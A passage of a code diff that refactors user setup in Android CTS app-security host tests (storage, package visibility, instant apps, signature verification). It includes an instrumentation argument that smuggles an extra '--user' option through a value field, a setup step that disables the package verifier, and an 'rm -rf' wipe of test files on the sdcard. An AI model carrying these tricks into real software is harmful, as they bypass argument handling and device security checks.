runDeviceTests(MULTIUSER_PKG, MULTIUSER_CLASS, "testMediaProviderUserIsolation", secondary);
} finally {
getDevice().uninstallPackage(MULTIUSER_PKG);
- removeUsersForTest(users);
}
}
@@ -240,7 +232,6 @@
* when apps with r/w permission levels move around their files.
*/
public void testMultiViewMoveConsistency() throws Exception {
- final int[] users = createUsersForTest();
try {
wipePrimaryExternalStorage();
@@ -252,37 +243,35 @@
assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
assertNull(getDevice().installPackage(getTestAppFile(READ_APK), false, options));
- for (int user : users) {
+ for (int user : mUsers) {
runDeviceTests(READ_PKG, ".ReadMultiViewTest", "testFolderSetup", user);
}
- for (int user : users) {
+ for (int user : mUsers) {
runDeviceTests(READ_PKG, ".ReadMultiViewTest", "testRWAccess", user);
}
- for (int user : users) {
+ for (int user : mUsers) {
runDeviceTests(WRITE_PKG, ".WriteMultiViewTest", "testMoveAway", user);
}
- for (int user : users) {
+ for (int user : mUsers) {
runDeviceTests(READ_PKG, ".ReadMultiViewTest", "testROAccess", user);
}
- for (int user : users) {
+ for (int user : mUsers) {
runDeviceTests(WRITE_PKG, ".WriteMultiViewTest", "testMoveBack", user);
}
- for (int user : users) {
+ for (int user : mUsers) {
runDeviceTests(READ_PKG, ".ReadMultiViewTest", "testRWAccess", user);
}
} finally {
getDevice().uninstallPackage(NONE_PKG);
getDevice().uninstallPackage(READ_PKG);
getDevice().uninstallPackage(WRITE_PKG);
- removeUsersForTest(users);
}
}
/** Verify that app without READ_EXTERNAL can play default URIs in external storage. */
public void testExternalStorageReadDefaultUris() throws Exception {
- final int[] users = createUsersForTest();
try {
wipePrimaryExternalStorage();
@@ -293,7 +282,7 @@
assertNull(getDevice().installPackage(getTestAppFile(WRITE_APK), false, options));
assertNull(getDevice().installPackage(getTestAppFile(NONE_APK), false, options));
- for (int user : users) {
+ for (int user : mUsers) {
enableWriteSettings(WRITE_PKG, user);
runDeviceTests(
WRITE_PKG, WRITE_PKG + ".ChangeDefaultUris", "testChangeDefaultUris", user);
@@ -303,13 +292,12 @@
}
} finally {
// Make sure the provider and uris are reset on failure.
- for (int user : users) {
+ for (int user : mUsers) {
runDeviceTests(
WRITE_PKG, WRITE_PKG + ".ChangeDefaultUris", "testResetDefaultUris", user);
}
getDevice().uninstallPackage(NONE_PKG);
getDevice().uninstallPackage(WRITE_PKG);
- removeUsersForTest(users);
}
}
@@ -334,14 +322,6 @@
getDevice().executeShellCommand("rm -rf /sdcard/MUST_*");
}
- private int[] createUsersForTest() throws DeviceNotAvailableException {
- return Utils.createUsersForTest(getDevice());
- }
-
- private void removeUsersForTest(int[] users) throws DeviceNotAvailableException {
- Utils.removeUsersForTest(getDevice(), users);
- }
-
private void runDeviceTests(String packageName, String testClassName, int userId)
throws DeviceNotAvailableException {
Utils.runDeviceTests(getDevice(), packageName, testClassName, userId);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
index fb5dffa..4609e8a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
@@ -19,8 +19,6 @@
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.testtype.IAbi;
import com.android.tradefed.testtype.IAbiReceiver;
@@ -73,8 +71,9 @@
assertNotNull(mAbi);
assertNotNull(mBuildInfo);
- mSupportsMultiUser =
- getDevice().getMaxNumberOfUsersSupported() - getDevice().listUsers().size() >= 2;
+ // This test only runs when we have at least 3 users to work with
+ final int[] users = Utils.prepareMultipleUsers(getDevice(), 3);
+ mSupportsMultiUser = (users.length == 3);
if (mSupportsMultiUser) {
mPrimaryUserId = getDevice().getPrimaryUserId();
mFixedUsers = new ArrayList<>();
@@ -83,8 +82,9 @@
mFixedUsers.add(USER_SYSTEM);
}
getDevice().switchUser(mPrimaryUserId);
- removeTestUsers();
- createTestUsers();
+
+ mTestUser[0] = users[1];
+ mTestUser[1] = users[2];
uninstallTestPackages();
installTestPackages();
@@ -93,7 +93,6 @@
public void tearDown() throws Exception {
if (mSupportsMultiUser) {
- removeTestUsers();
uninstallTestPackages();
}
super.tearDown();
@@ -180,19 +179,6 @@
getDevice().uninstallPackage(USER_PKG);
}
- private void createTestUsers() throws Exception {
- mTestUser[0] = getDevice().createUser("TestUser_" + System.currentTimeMillis());
- mTestUser[1] = getDevice().createUser("TestUser_" + System.currentTimeMillis());
- }
-
- private void removeTestUsers() throws Exception {
- for (int userId : getDevice().listUsers()) {
- if (!mFixedUsers.contains(userId)) {
- getDevice().removeUser(userId);
- }
- }
- }
-
private void runDeviceTests(String packageName, String testClassName, String testMethodName)
throws DeviceNotAvailableException {
Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
index e5a483c..fd599ea 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
@@ -39,6 +39,8 @@
@Override
protected void setUp() throws Exception {
super.setUp();
+
+ Utils.prepareSingleUser(getDevice());
uninstallPackage(INSTANT_COOKIE_APP_PKG);
clearUserData(INSTANT_COOKIE_APP_PKG);
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
index ed05837..8795fe8 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
@@ -43,6 +43,8 @@
@Override
protected void setUp() throws Exception {
super.setUp();
+
+ Utils.prepareSingleUser(getDevice());
getDevice().uninstallPackage(PKG);
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
index 1f7c6be..3574191 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
@@ -236,10 +236,13 @@
}
@Override
- protected void setUp() throws Exception {
+ protected void setUp() throws Exception {
super.setUp();
- mDevice = getDevice();
+
+ Utils.prepareSingleUser(getDevice());
assertNotNull(mCtsBuild);
+
+ mDevice = getDevice();
}
/**
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
index 115ebf4..fde9f10 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
@@ -32,10 +32,13 @@
private static final boolean MATCH_UNINSTALLED = true;
private static final boolean MATCH_NORMAL = false;
+ private int[] mUsers;
private String mOldVerifierValue;
public void setUp() throws Exception {
super.setUp();
+
+ mUsers = Utils.prepareMultipleUsers(getDevice());
mOldVerifierValue =
getDevice().executeShellCommand("settings get global package_verifier_enable");
getDevice().executeShellCommand("settings put global package_verifier_enable 0");
@@ -54,7 +57,7 @@
return;
}
- int userId = createUser();
+ int userId = mUsers[1];
assertTrue(userId > 0);
getDevice().startUser(userId);
installTestAppForUser(TEST_APK, userId);
@@ -67,23 +70,23 @@
assertTrue(isAppVisibleForUser(TINY_PKG, mPrimaryUserId, MATCH_UNINSTALLED));
// Try the same from an app
- assertTrue(runDeviceTestsAsUser(TEST_PKG,
- ".PackageAccessTest", "testPackageAccess_inUser", mPrimaryUserId));
- assertTrue(runDeviceTestsAsUser(TEST_PKG,
- ".PackageAccessTest", "testPackageAccess_inUserUninstalled", mPrimaryUserId));
+ Utils.runDeviceTests(getDevice(), TEST_PKG,
+ ".PackageAccessTest", "testPackageAccess_inUser", mPrimaryUserId);
+ Utils.runDeviceTests(getDevice(), TEST_PKG,
+ ".PackageAccessTest", "testPackageAccess_inUserUninstalled", mPrimaryUserId);
// It is not visible for the other user using shell commands
assertFalse(isAppVisibleForUser(TINY_PKG, userId, MATCH_NORMAL));
assertFalse(isAppVisibleForUser(TINY_PKG, userId, MATCH_UNINSTALLED));
// Try the same from an app
- assertTrue(runDeviceTestsAsUser(TEST_PKG,
- ".PackageAccessTest", "testPackageAccess_notInOtherUser", userId));
- assertTrue(runDeviceTestsAsUser(TEST_PKG,
- ".PackageAccessTest", "testPackageAccess_notInOtherUserUninstalled", userId));
+ Utils.runDeviceTests(getDevice(), TEST_PKG,
+ ".PackageAccessTest", "testPackageAccess_notInOtherUser", userId);
+ Utils.runDeviceTests(getDevice(), TEST_PKG,
+ ".PackageAccessTest", "testPackageAccess_notInOtherUserUninstalled", userId);
- assertTrue(runDeviceTestsAsUser(TEST_PKG,
- ".PackageAccessTest", "testPackageAccess_getPackagesCantSeeTiny", userId));
+ Utils.runDeviceTests(getDevice(), TEST_PKG,
+ ".PackageAccessTest", "testPackageAccess_getPackagesCantSeeTiny", userId);
getDevice().uninstallPackage(TINY_PKG);
@@ -105,14 +108,14 @@
assertFalse(isAppVisibleForUser(TINY_PKG, userId, MATCH_NORMAL));
assertTrue(isAppVisibleForUser(TINY_PKG, userId, MATCH_UNINSTALLED));
- assertTrue(runDeviceTestsAsUser(TEST_PKG,
- ".PackageAccessTest", "testPackageAccess_getPackagesCanSeeTiny", userId));
+ Utils.runDeviceTests(getDevice(), TEST_PKG,
+ ".PackageAccessTest", "testPackageAccess_getPackagesCanSeeTiny", userId);
- assertTrue(runDeviceTestsAsUser(TEST_PKG,
+ Utils.runDeviceTests(getDevice(), TEST_PKG,
".PackageAccessTest", "testPackageAccess_notInOtherUserUninstalled",
- mPrimaryUserId));
- assertTrue(runDeviceTestsAsUser(TEST_PKG,
- ".PackageAccessTest", "testPackageAccess_getPackagesCantSeeTiny", mPrimaryUserId));
+ mPrimaryUserId);
+ Utils.runDeviceTests(getDevice(), TEST_PKG,
+ ".PackageAccessTest", "testPackageAccess_getPackagesCantSeeTiny", mPrimaryUserId);
getDevice().uninstallPackage(TINY_PKG);
getDevice().uninstallPackage(TEST_PKG);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index b7f7f88..9ba3c82 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -58,6 +58,7 @@
protected void setUp() throws Exception {
super.setUp();
+ Utils.prepareSingleUser(getDevice());
assertNotNull(mAbi);
assertNotNull(mBuildHelper);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
index 93d683f..e87c390 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java
@@ -16,6 +16,11 @@
package android.appsecurity.cts;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
@@ -24,12 +29,6 @@
import java.io.OutputStream;
import java.util.Locale;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-
/**
* Tests for APK signature verification during installation.
*/
@@ -44,10 +43,6 @@
private static final String[] RSA_KEY_NAMES_2048_AND_LARGER =
{"2048", "3072", "4096", "8192", "16384"};
-
- /** Device under test. */
- private ITestDevice mDevice;
-
private IBuildInfo mCtsBuild;
@Override
@@ -58,7 +53,8 @@
@Override
protected void setUp() throws Exception {
super.setUp();
- mDevice = getDevice();
+
+ Utils.prepareSingleUser(getDevice());
assertNotNull(mCtsBuild);
uninstallPackage();
}
@@ -582,9 +578,9 @@
}
}
if (ephemeral) {
- return mDevice.installPackage(apkFile, true, "--ephemeral");
+ return getDevice().installPackage(apkFile, true, "--ephemeral");
} else {
- return mDevice.installPackage(apkFile, true);
+ return getDevice().installPackage(apkFile, true);
}
} finally {
apkFile.delete();
@@ -602,6 +598,6 @@
}
private String uninstallPackage() throws DeviceNotAvailableException {
- return mDevice.uninstallPackage(TEST_PKG);
+ return getDevice().uninstallPackage(TEST_PKG);
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
index ca218ef..630f351 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PrivilegedUpdateTests.java
@@ -63,6 +63,7 @@
protected void setUp() throws Exception {
super.setUp();
+ Utils.prepareSingleUser(getDevice());
assertNotNull(mAbi);
assertNotNull(mBuildHelper);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
index 21bfca1..9474ba8 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
@@ -96,6 +96,7 @@
protected void setUp() throws Exception {
super.setUp();
+ Utils.prepareSingleUser(getDevice());
assertNotNull(mAbi);
assertNotNull(mCtsBuild);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
index f679e83..4a736b4 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
@@ -16,18 +16,22 @@
package android.appsecurity.cts;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.tradefed.build.IBuildInfo;
+import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import junit.framework.AssertionFailedError;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
/**
* Tests that exercise various storage APIs.
*/
-public class StorageHostTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class StorageHostTest extends CompatibilityHostTestBase {
private static final String PKG_STATS = "com.android.cts.storagestatsapp";
private static final String PKG_A = "com.android.cts.storageapp_a";
private static final String PKG_B = "com.android.cts.storageapp_b";
@@ -37,76 +41,38 @@
private static final String CLASS_STATS = "com.android.cts.storagestatsapp.StorageStatsTest";
private static final String CLASS = "com.android.cts.storageapp.StorageTest";
- private IAbi mAbi;
- private IBuildInfo mCtsBuild;
-
private int[] mUsers;
- @Override
- public void setAbi(IAbi abi) {
- mAbi = abi;
- }
+ @Before
+ public void setUp() throws Exception {
+ mUsers = Utils.prepareMultipleUsers(getDevice());
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mUsers = Utils.createUsersForTest(getDevice());
- }
-
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
-
- getDevice().uninstallPackage(PKG_STATS);
- getDevice().uninstallPackage(PKG_A);
- getDevice().uninstallPackage(PKG_B);
-
- Utils.removeUsersForTest(getDevice(), mUsers);
- mUsers = null;
- }
-
- private void prepareTestApps() throws Exception {
- getDevice().uninstallPackage(PKG_STATS);
- getDevice().uninstallPackage(PKG_A);
- getDevice().uninstallPackage(PKG_B);
-
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
- assertNull(getDevice().installPackage(buildHelper.getTestFile(APK_STATS), false));
- assertNull(getDevice().installPackage(buildHelper.getTestFile(APK_A), false));
- assertNull(getDevice().installPackage(buildHelper.getTestFile(APK_B), false));
+ installPackage(APK_STATS);
+ installPackage(APK_A);
+ installPackage(APK_B);
for (int user : mUsers) {
getDevice().executeShellCommand("appops set --user " + user + " " + PKG_STATS
+ " android:get_usage_stats allow");
}
+
+ waitForIdle();
}
- public void testEverything() throws Exception {
- prepareTestApps(); doVerifyQuota();
- prepareTestApps(); doVerifyAppStats();
- prepareTestApps(); doVerifyAppQuota();
- prepareTestApps(); doVerifyAppAllocate();
- prepareTestApps(); doVerifySummary();
- prepareTestApps(); doVerifyStats();
- prepareTestApps(); doVerifyStatsMultiple();
- prepareTestApps(); doVerifyStatsExternal();
- prepareTestApps(); doVerifyStatsExternalConsistent();
- prepareTestApps(); doVerifyCategory();
- prepareTestApps(); doCache();
- prepareTestApps(); doFullDisk();
+ @After
+ public void tearDown() throws Exception {
+ getDevice().uninstallPackage(PKG_STATS);
+ getDevice().uninstallPackage(PKG_A);
+ getDevice().uninstallPackage(PKG_B);
}
- public void doVerifyQuota() throws Exception {
- runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyQuota", Utils.USER_OWNER);
+ @Test
+ public void testVerifyQuota() throws Exception {
+ Utils.runDeviceTests(getDevice(), PKG_STATS, CLASS_STATS, "testVerifyQuota");
}
- public void doVerifyAppStats() throws Exception {
+ @Test
+ public void testVerifyAppStats() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_A, CLASS, "testAllocate", user);
}
@@ -120,31 +86,36 @@
}
}
- public void doVerifyAppQuota() throws Exception {
+ @Test
+ public void testVerifyAppQuota() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_A, CLASS, "testVerifyQuotaApi", user);
}
}
- public void doVerifyAppAllocate() throws Exception {
+ @Test
+ public void testVerifyAppAllocate() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_A, CLASS, "testVerifyAllocateApi", user);
}
}
- public void doVerifySummary() throws Exception {
+ @Test
+ public void testVerifySummary() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifySummary", user);
}
}
- public void doVerifyStats() throws Exception {
+ @Test
+ public void testVerifyStats() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStats", user);
}
}
- public void doVerifyStatsMultiple() throws Exception {
+ @Test
+ public void testVerifyStatsMultiple() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_A, CLASS, "testAllocate", user);
runDeviceTests(PKG_A, CLASS, "testAllocate", user);
@@ -157,33 +128,35 @@
}
}
- public void doVerifyStatsExternal() throws Exception {
+ @Test
+ public void testVerifyStatsExternal() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStatsExternal", user);
}
}
- public void doVerifyStatsExternalConsistent() throws Exception {
+ @Test
+ public void testVerifyStatsExternalConsistent() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyStatsExternalConsistent", user);
}
}
- public void doVerifyCategory() throws Exception {
+ @Test
+ public void testVerifyCategory() throws Exception {
for (int user : mUsers) {
runDeviceTests(PKG_STATS, CLASS_STATS, "testVerifyCategory", user);
}
}
- public void doCache() throws Exception {
+ @Test
+ public void testCache() throws Exception {
// To make the cache clearing logic easier to verify, ignore any cache
// and low space reserved space.
getDevice().executeShellCommand("settings put global sys_storage_threshold_max_bytes 0");
getDevice().executeShellCommand("settings put global sys_storage_cache_max_bytes 0");
try {
for (int user : mUsers) {
- waitForIdle();
-
// Clear all other cached data to give ourselves a clean slate
getDevice().executeShellCommand("pm trim-caches 4096G");
runDeviceTests(PKG_STATS, CLASS_STATS, "testCacheClearing", user);
@@ -197,9 +170,8 @@
}
}
- public void doFullDisk() throws Exception {
- waitForIdle();
-
+ @Test
+ public void testFullDisk() throws Exception {
// Clear all other cached and external storage data to give ourselves a
// clean slate to test against
getDevice().executeShellCommand("pm trim-caches 4096G");
@@ -209,9 +181,18 @@
final String lastEvent = getDevice().executeShellCommand("logcat -d -b events -t 1");
final String sinceTime = lastEvent.trim().substring(0, 18);
- // Try our hardest to fill up the entire disk
- runDeviceTests(PKG_A, CLASS, "testFullDisk", Utils.USER_OWNER);
- runDeviceTests(PKG_A, CLASS, "testTweakComponent", Utils.USER_OWNER);
+ try {
+ // Try our hardest to fill up the entire disk
+ Utils.runDeviceTests(getDevice(), PKG_A, CLASS, "testFullDisk");
+ } catch (Throwable t) {
+ // If we had trouble filling the disk, don't bother going any
+ // further; we failed because we either don't have quota support, or
+ // because disk was more than 10% full.
+ return;
+ }
+
+ // Tweak something that causes PackageManager to persist data
+ Utils.runDeviceTests(getDevice(), PKG_A, CLASS, "testTweakComponent");
// Try poking around a couple of settings apps
getDevice().executeShellCommand("input keyevent KEY_HOME");
@@ -234,15 +215,15 @@
troubleLogs = troubleLogs.trim().replaceAll("\\-+ beginning of [a-z]+", "");
if (troubleLogs.length() > 4) {
- fail("Unexpected crashes while disk full: " + troubleLogs);
+ throw new AssertionFailedError("Unexpected crashes while disk full: " + troubleLogs);
}
}
public void waitForIdle() throws Exception {
// Try getting all pending events flushed out
- for (int i = 0; i < 5; i++) {
+ for (int i = 0; i < 4; i++) {
getDevice().executeShellCommand("am wait-for-broadcast-idle");
- Thread.sleep(1000);
+ Thread.sleep(500);
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
index cf8a354..4afeb9bf 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/UsesLibraryHostTest.java
@@ -51,6 +51,7 @@
protected void setUp() throws Exception {
super.setUp();
+ Utils.prepareSingleUser(getDevice());
assertNotNull(mAbi);
assertNotNull(mBuildHelper);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
index 37aaeaf..8e83c87 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
@@ -16,7 +16,6 @@
package android.appsecurity.cts;
-import com.android.ddmlib.Log;
import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
import com.android.ddmlib.testrunner.TestIdentifier;
import com.android.ddmlib.testrunner.TestResult;
@@ -26,16 +25,15 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.result.CollectingTestListener;
+import java.util.Arrays;
import java.util.Map;
public class Utils {
- private static final String TAG = "AppSecurity";
-
- public static final int USER_OWNER = 0;
+ public static final int USER_SYSTEM = 0;
public static void runDeviceTests(ITestDevice device, String packageName)
throws DeviceNotAvailableException {
- runDeviceTests(device, packageName, null, null, USER_OWNER);
+ runDeviceTests(device, packageName, null, null, USER_SYSTEM);
}
public static void runDeviceTests(ITestDevice device, String packageName, int userId)
@@ -45,7 +43,7 @@
public static void runDeviceTests(ITestDevice device, String packageName, String testClassName)
throws DeviceNotAvailableException {
- runDeviceTests(device, packageName, testClassName, null, USER_OWNER);
+ runDeviceTests(device, packageName, testClassName, null, USER_SYSTEM);
}
public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
@@ -55,7 +53,7 @@
public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
String testMethodName) throws DeviceNotAvailableException {
- runDeviceTests(device, packageName, testClassName, testMethodName, USER_OWNER);
+ runDeviceTests(device, packageName, testClassName, testMethodName, USER_SYSTEM);
}
public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
@@ -72,13 +70,8 @@
testRunner.setClassName(testClassName);
}
- if (userId != USER_OWNER) {
- // TODO: move this to RemoteAndroidTestRunner once it supports users
- testRunner.addInstrumentationArg("hack_key", "hack_value --user " + userId);
- }
-
final CollectingTestListener listener = new CollectingTestListener();
- device.runInstrumentationTests(testRunner, listener);
+ device.runInstrumentationTestsAsUser(testRunner, userId, listener);
final TestRunResult result = listener.getCurrentRunResults();
if (result.isRunFailure()) {
@@ -103,65 +96,55 @@
}
}
- private static boolean isMultiUserSupportedOnDevice(ITestDevice device)
+ /**
+ * Prepare and return a single user relevant for testing.
+ */
+ public static int[] prepareSingleUser(ITestDevice device)
throws DeviceNotAvailableException {
- // TODO: move this to ITestDevice once it supports users
- final String output = device.executeShellCommand("pm get-max-users");
- try {
- return Integer.parseInt(output.substring(output.lastIndexOf(" ")).trim()) > 1;
- } catch (NumberFormatException e) {
- throw new AssertionError("Failed to parse result: " + output);
- }
+ return prepareMultipleUsers(device, 1);
}
/**
- * Return set of users that test should be run for, creating a secondary
- * user if the device supports it. Always call
- * {@link #removeUsersForTest(ITestDevice, int[])} when finished.
+ * Prepare and return two users relevant for testing.
*/
- public static int[] createUsersForTest(ITestDevice device) throws DeviceNotAvailableException {
- if (isMultiUserSupportedOnDevice(device)) {
- return new int[] { USER_OWNER, createUserOnDevice(device) };
- } else {
- Log.d(TAG, "Single user device; skipping isolated storage tests");
- return new int[] { USER_OWNER };
- }
+ public static int[] prepareMultipleUsers(ITestDevice device)
+ throws DeviceNotAvailableException {
+ return prepareMultipleUsers(device, 2);
}
- public static void removeUsersForTest(ITestDevice device, int[] users)
+ /**
+ * Prepare and return multiple users relevant for testing.
+ */
+ public static int[] prepareMultipleUsers(ITestDevice device, int maxUsers)
throws DeviceNotAvailableException {
- for (int user : users) {
- if (user != USER_OWNER) {
- removeUserOnDevice(device, user);
+ final int[] userIds = getAllUsers(device);
+ for (int i = 1; i < userIds.length; i++) {
+ if (i < maxUsers) {
+ device.startUser(userIds[i]);
+ } else {
+ device.stopUser(userIds[i]);
}
}
- }
-
- private static int createUserOnDevice(ITestDevice device) throws DeviceNotAvailableException {
- // TODO: move this to ITestDevice once it supports users
- final String name = "CTS_" + System.currentTimeMillis();
- final String output = device.executeShellCommand("pm create-user " + name);
- if (output.startsWith("Success")) {
- try {
- final int userId = Integer.parseInt(
- output.substring(output.lastIndexOf(" ")).trim());
- device.executeShellCommand("am start-user " + userId);
- return userId;
- } catch (NumberFormatException e) {
- throw new AssertionError("Failed to parse result: " + output);
- }
+ if (userIds.length > maxUsers) {
+ return Arrays.copyOf(userIds, maxUsers);
} else {
- throw new AssertionError("Failed to create user: " + output);
+ return userIds;
}
}
- private static void removeUserOnDevice(ITestDevice device, int userId)
+ public static int[] getAllUsers(ITestDevice device)
throws DeviceNotAvailableException {
- // TODO: move this to ITestDevice once it supports users
- final String output = device.executeShellCommand("pm remove-user " + userId);
- if (output.startsWith("Error")) {
- throw new AssertionError("Failed to remove user: " + output);
+ Integer primary = device.getPrimaryUserId();
+ if (primary == null) {
+ primary = USER_SYSTEM;
}
+ int[] users = new int[] { primary };
+ for (Integer user : device.listUsers()) {
+ if ((user != USER_SYSTEM) && (user != primary)) {
+ users = Arrays.copyOf(users, users.length + 1);
+ users[users.length - 1] = user;
+ }
+ }
+ return users;
}
-
}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
index b0f53e0..ed3c3cf 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
@@ -20,6 +20,8 @@
<uses-sdk
android:minSdkVersion="25" />
+ <uses-permission android:name="com.android.alarm.permission.SET_ALARM" />
+ <uses-permission android:name="android.permission.INTERNET" />
<application
android:label="@string/app_name">
<uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index c9d0e45..32e0ce7 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -22,6 +22,7 @@
import static org.junit.Assert.assertThat;
import static org.junit.Assert.fail;
+import android.Manifest;
import android.annotation.Nullable;
import android.content.ActivityNotFoundException;
import android.content.BroadcastReceiver;
@@ -86,9 +87,6 @@
* Intents that we expect the system to expose activities to ephemeral apps to handle.
*/
